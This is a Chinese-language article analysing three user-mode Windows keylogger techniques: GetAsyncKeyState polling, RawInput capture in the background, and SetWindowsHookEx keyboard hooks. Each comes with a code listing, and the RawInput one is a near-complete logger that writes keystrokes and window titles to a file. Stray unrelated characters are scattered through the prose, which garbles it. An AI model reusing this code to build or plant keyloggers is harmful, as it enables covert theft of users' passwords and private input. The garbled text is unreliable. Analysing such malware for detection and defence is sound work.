1.概述
鍵盤(pán)記錄是惡意軟件中常見(jiàn)的組成部分，被用于竊取用戶鍵盤(pán)輸入信息型豁，是直接泄露用戶隱私的重要安全問(wèn)題。鍵盤(pán)記錄器的種類(lèi)繁多牛欢，有運(yùn)行于應(yīng)用層的脚曾，有運(yùn)行于內(nèi)核層的倦卖，還有硬件版的鍵盤(pán)記錄器杉适。近期爆出惠普筆記本存在隱藏鍵盤(pán)記錄器帖烘，該鍵盤(pán)記錄器隱藏于聲卡驅(qū)動(dòng)包中。
事實(shí)上茅糜，軟件記錄器由來(lái)已久其监，各大安全廠商也在防御軟件記錄器方面做出大量努力，但鍵盤(pán)記錄器的傳播與發(fā)展從未停止限匣。
本文分析了三種常見(jiàn)的鍵盤(pán)記錄器：GetAsyncKeyState輪詢(xún)鍵盤(pán)消息、RawInputData直接從輸入設(shè)備獲取數(shù)據(jù)和SetWindowsHookEx利用鉤子函數(shù)毁菱。這三種鍵盤(pán)記錄器傳播廣泛米死，且都是運(yùn)行于應(yīng)用層(ring3)。
2.GetAsyncKeyState——輪詢(xún)鍵盤(pán)消息
該方法其實(shí)是通過(guò)不斷檢測(cè)鍵盤(pán)上某一個(gè)鍵是否被按下來(lái)獲取鍵盤(pán)記錄贮庞。
該方法中最重要的API是GetAsyncKeyState( )：
publicstatic?extern?short?GetAsyncKeyState(int?vKey);
//vKey是虛擬按鍵碼可以用這三種表示：'1'峦筒，VK_LSHIFT，0x41窗慎，(但是用0x41只能捕捉到A不能捕捉到a)
GetAsyncKeyState判斷在此函數(shù)被調(diào)用時(shí),某個(gè)鍵是處于UP狀態(tài)還是處于DOWN狀態(tài),及前次調(diào)用GetAsyncKeyState函數(shù)后,是否按過(guò)此鍵.如果返回值的最高位被置位,那么該鍵處于DOWN狀態(tài);如果最低位被置位,那么在前一次調(diào)用此函數(shù)后,此鍵被按過(guò),否則表示該鍵沒(méi)被按過(guò).
如鍵已被按過(guò)物喷，則位0設(shè)為1卤材；否則設(shè)為0。如鍵目前處于按下?tīng)顟B(tài)峦失，則位15設(shè)為1扇丛；如抬起，則為0尉辑。
調(diào)用GetAsyncKeyState循環(huán)判斷每一個(gè)鍵是否被按下帆精，如果被按下返回值是0x8001(十進(jìn)制：-32767)，即位0和位15都被置1隧魄。
調(diào)用GetKeyState(VK_CAPITAL)判斷VK_CAPITAL鍵狀態(tài)卓练，區(qū)分大小寫(xiě)。
//*********************關(guān)鍵代碼**************************
while(1){
Sleep(8);
if (GetAsyncKeyState(VK_SPACE) == -32767){
cout<< " ";
}
if (GetAsyncKeyState('A') == -32767){
if (GetKeyState(VK_CAPITAL)==1)
{cout<< "A";}
else {cout<< "a";}
}
if (GetAsyncKeyState('B') == -32767){
if (GetKeyState(VK_CAPITAL)==1)
{cout<< "B";}
else {cout<< "b";}
}
...
if (GetAsyncKeyState(VK_RETURN) == -32767){
cout<< endl;
}
if (GetAsyncKeyState('1') == -32767){
log << "1";
}
...
if (GetAsyncKeyState(VK_LSHIFT) == -32767){
log << " SHIFT-";
}
if (GetAsyncKeyState(VK_MENU) == -32767){
log << " ALT-";
}
}
//*************************************************************
3.RawInputData——從輸入設(shè)備獲取數(shù)據(jù)
利用原始輸入數(shù)據(jù)（RawInputData）獲取鍵盤(pán)記錄购啄，首先要新建一個(gè)窗口類(lèi)襟企，并將其注冊(cè)為原始輸入設(shè)備（RegisterRawInputDevices），之后進(jìn)入消息循環(huán)狮含，在wndproc消息處理函數(shù)中利用GetRawInputData獲取RawInputData結(jié)構(gòu)體顽悼，解析這個(gè)結(jié)構(gòu)體獲得鍵盤(pán)按鍵信息并保存。
在逆向分析中辉川，利用RegisterClass（）可以手動(dòng)獲取WndProc()函數(shù)地址：
RegisterClass(&wndClass);中獲得wndClass結(jié)構(gòu)體表蝙，內(nèi)存中查找wndClass.lpfnWndProc的值。
GetForegroundWindow ----此函數(shù)用于獲取當(dāng)系統(tǒng)當(dāng)前的前臺(tái)窗口句柄乓旗，即當(dāng)前處于激活狀態(tài)下的窗口府蛇，此函數(shù)沒(méi)有參數(shù)。
FindWindow---此函數(shù)用于獲取具有參數(shù)指定的窗口類(lèi)名和窗口標(biāo)題的窗口的窗口句柄屿愚。通常我們只用傳入第二個(gè)參數(shù)汇跨，也就是窗口的標(biāo)題名就可以了。
//*********************關(guān)鍵代碼**************************
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE,PSTR,int iCmdShow)
{
//設(shè)置窗口類(lèi)屬性
MSG ?msg;
HWND ???????????????hWnd;
WNDCLASS ???????????wndClass;
wndClass.style ?????????= CS_HREDRAW | CS_VREDRAW;
wndClass.lpfnWndProc????= WndProc;
wndClass.cbClsExtra ????= 0;
wndClass.cbWndExtra ????= 0;
wndClass.hInstance ?????= hInstance;
wndClass.hIcon ?????????= LoadIcon(NULL, IDI_APPLICATION);
wndClass.hCursor ???????= LoadCursor(NULL, IDC_ARROW);
wndClass.hbrBackground ?= (HBRUSH)GetStockObject(WHITE_BRUSH);
wndClass.lpszMenuName ??= NULL;
wndClass.lpszClassName ?= TEXT("Twnd");
//注冊(cè)創(chuàng)建窗口類(lèi)
RegisterClass(&wndClass);
hWnd = CreateWindow(
TEXT("Twnd"), ??// window class name
TEXT("鍵盤(pán)記錄測(cè)試"), ?// window caption
WS_OVERLAPPEDWINDOW, ?????// window style
CW_USEDEFAULT, ???????????// initial x position
CW_USEDEFAULT, ???????????// initial y position
CW_USEDEFAULT, ???????????// initial x size
CW_USEDEFAULT, ???????????// initial y size
NULL, ????????????????????// parent window handle
NULL, ????????????????????// window menu handle
hInstance, ???????????????// program instance handle
NULL); ???????????????????// creation parameters
//注冊(cè)原始輸入設(shè)備類(lèi)
if(!RegisitKeyBord(hWnd))
return 0;
ShowWindow(hWnd, SW_SHOW);
UpdateWindow(hWnd);
//進(jìn)入消息循環(huán)
while(GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
// WndProc中利用GetRawInputData獲取RawInputData結(jié)構(gòu)體妆距，解析這個(gè)結(jié)構(gòu)體獲得鍵盤(pán)按鍵信息
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
HDC ?????????hdc;
PAINTSTRUCT ?ps;
char vk[256] = {'\0'};
char ti[256] = {'\0'};
UINT ???????dwSize;
LPBYTE ?????lpb = NULL;
RAWINPUT* ??raw = NULL;
DWORD ??????dwWritten = 0;
PGetRawInputData GetRawInputData = (PGetRawInputData)GetApiAdd("user32.dll", "GetRawInputData");
switch(message)
{
case WM_INPUT:
if(NULL == GetRawInputData)
{
DefWindowProc(hWnd, message, wParam, lParam);
return 0;
}
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
lpb = new BYTE[dwSize];
if(lpb == NULL)
{
DefWindowProc(hWnd, message, wParam, lParam);
return 0;
}
if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize)
break;
raw = (RAWINPUT*)lpb;
if (raw->header.dwType == RIM_TYPEKEYBOARD)
{
if ( prev == NULL)
{
prev = GetForegroundWindow();
//GetForegroundWindow在用戶模式下檢測(cè)軟件切換
GetWindowText(prev,ti,256);
wsprintf(vk,"[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey));
}
else if ( prev == GetForegroundWindow() )
{
wsprintf(vk,"%s",GetKeyName(raw->data.keyboard.VKey));
}
else
{
prev = GetForegroundWindow();
GetWindowText(prev,ti,256);
wsprintf(vk,"\r\n\r\n[%s]\r\n%s",&ti,GetKeyName(raw->data.keyboard.VKey));
}
if(hFile != INVALID_HANDLE_VALUE && ((WM_KEYDOWN == raw->data.keyboard.Message) || (WM_SYSKEYDOWN == raw->data.keyboard.Message)))
{
SetFilePointer(hFile, 0, NULL, FILE_END);
WriteFile(hFile, vk, (DWORD)strlen(vk), &dwWritten, NULL);
}
}
delete[] lpb;
DefWindowProc(hWnd, message, wParam, lParam);
return 0;
case WM_PAINT:
hdc = BeginPaint(hWnd, &ps);
TextOut(hdc, 10, 10, szInfo, strlen(szInfo));
TextOut(hdc, 10, 30, szTips, strlen(szTips));
EndPaint(hWnd, &ps);
return 0;
case WM_DESTROY:
PostQuitMessage(0);
CloseHandle(hFile);
return 0;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
}
PVOID GetApiAdd(LPCSTR dllname, LPCSTR procname)
{
HMODULE hDll = LoadLibraryA(dllname);
if(NULL == hDll)
return NULL;
PVOID pProc = GetProcAddress(hDll, procname);
FreeLibrary(hDll);
return pProc;
}
BOOL RegisitKeyBord(HWND hwnd)
{
if(NULL == hwnd)
return false;
PRegisterRawInputDevices RegisterRawInputDevices = (PRegisterRawInputDevices)GetApiAdd("User32.dll", "RegisterRawInputDevices");
if(NULL == RegisterRawInputDevices)
return false;
RAWINPUTDEVICE rid;
rid.usUsagePage = 0x01;
rid.usUsage = 0x06;
rid.dwFlags = RIDEV_INPUTSINK;
rid.hwndTarget = hwnd;
return RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE));
}
//*************************************************************
4.SetWindowsHook——利用鉤子函數(shù)
利用SetWindowsHookEx可以輕松實(shí)現(xiàn)消息鉤子穷遂。
鉤子過(guò)程是由操作系統(tǒng)調(diào)用的回調(diào)函數(shù)，安裝消息“鉤子”時(shí)娱据，“鉤子”過(guò)程需要存在于某個(gè)DLL內(nèi)部蚪黑，且該DLL的示例句柄即是SetWindowsHookEx中的參數(shù)hMod。這就是為什么要先加載dll中剩，然后再鉤取忌穿。
具體過(guò)程：exe程序調(diào)用LoadLibrary(dll),加載dll程序，dllmain（）中switch(dwReason)進(jìn)行DLL被加載或卸載時(shí)的操作结啼。使用回調(diào)函數(shù)LRESULT CALLBACk ?Keyboardproc()掠剑，這是消息處理函數(shù)，先利用dll中的導(dǎo)出函數(shù)掛鉤郊愧，SetWindowsHookEx進(jìn)行掛鉤朴译，利用SetWindowsHookEx掛鉤后井佑，消息會(huì)首先傳給dll，dll遇到消息就會(huì)調(diào)用消息處理的回調(diào)函數(shù)Keyboardproc眠寿，在這里會(huì)調(diào)用CallNextHookEx將消息傳遞給應(yīng)用程序(下一個(gè)“鉤子”)躬翁，UnhookWindowsHookEx脫鉤。這里只是實(shí)現(xiàn)了鍵盤(pán)鉤子的掛鉤和脫鉤澜公，并沒(méi)有實(shí)現(xiàn)鍵盤(pán)記錄功能姆另，鍵盤(pán)記錄功能是在回調(diào)函數(shù)函數(shù)Keyboardproc中實(shí)現(xiàn)的，類(lèi)似RawInput中消息處理函數(shù)坟乾。
使用SetWindowsHookEx的好處在于迹辐，你可以同時(shí)鉤住所有桌面上的進(jìn)程并確保監(jiān)聽(tīng)到所有的鍵盤(pán)信息，而不是通過(guò)GetAsyncKeystate循環(huán)檢測(cè)每一個(gè)鍵的狀態(tài)這樣會(huì)遺漏一些記錄甚侣。
//*********************關(guān)鍵代碼**************************
//HookMain.cpp
void main()
{
//加載KeyHook.dll明吩，會(huì)調(diào)用DLLMain，
hDll = LoadLibraryA(DEF_DLL_NAME);
...
FreeLibrary(hDll);
}
//KeyHook.cpp
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpvReserved)
{
switch( dwReason )
{
case DLL_PROCESS_ATTACH:
g_hInstance = hinstDLL;
//掛鉤
SetWindowsHook(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);
break;
case DLL_PROCESS_DETACH:
UnhookWindowsHookEx(g_hHook);//脫鉤
break;
}
return TRUE;
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
char szPath[MAX_PATH] = {0,};
char *p = NULL;
if( nCode >= 0 )
{
// bit 31 : 0 => press, 1 => release
if( !(lParam & 0x80000000) )//釋放鍵盤(pán)按鍵時(shí)
{
GetModuleFileNameA(NULL, szPath, MAX_PATH);
p = strrchr(szPath, '\\');
//比較進(jìn)程名稱(chēng)殷费，如果是DEF_PROCESS_NAME)則消息不會(huì)傳給應(yīng)用程序或下一個(gè)鉤子
if( !_stricmp(p + 1, DEF_PROCESS_NAME) )
return 1;
}
}
//CallNextHookEx消息傳給應(yīng)用程序或下一個(gè)鉤子
returnCallNextHookEx(g_hHook, nCode, wParam, lParam);
}
5.總結(jié)
本文介紹的三種鍵盤(pán)記錄器都比較簡(jiǎn)單印荔，網(wǎng)上也有許多分析文章。運(yùn)行于Ring3的鍵盤(pán)記錄器很難躲過(guò)安全軟件的檢測(cè)详羡，運(yùn)行于Ring0的鍵盤(pán)記錄器則更加隱蔽精巧仍律，以后再作分析。最后实柠，筆者學(xué)歷不高水泉，能力有限，歡迎各位指點(diǎn)補(bǔ)充窒盐。
本文內(nèi)容主要來(lái)源于互聯(lián)網(wǎng)草则，由于本文完成時(shí)間跨度較大，資源來(lái)源較雜蟹漓，無(wú)法一一求證炕横，如有侵權(quán)，歡迎告知葡粒。在此感謝所有傳播與分享知識(shí)的人份殿。
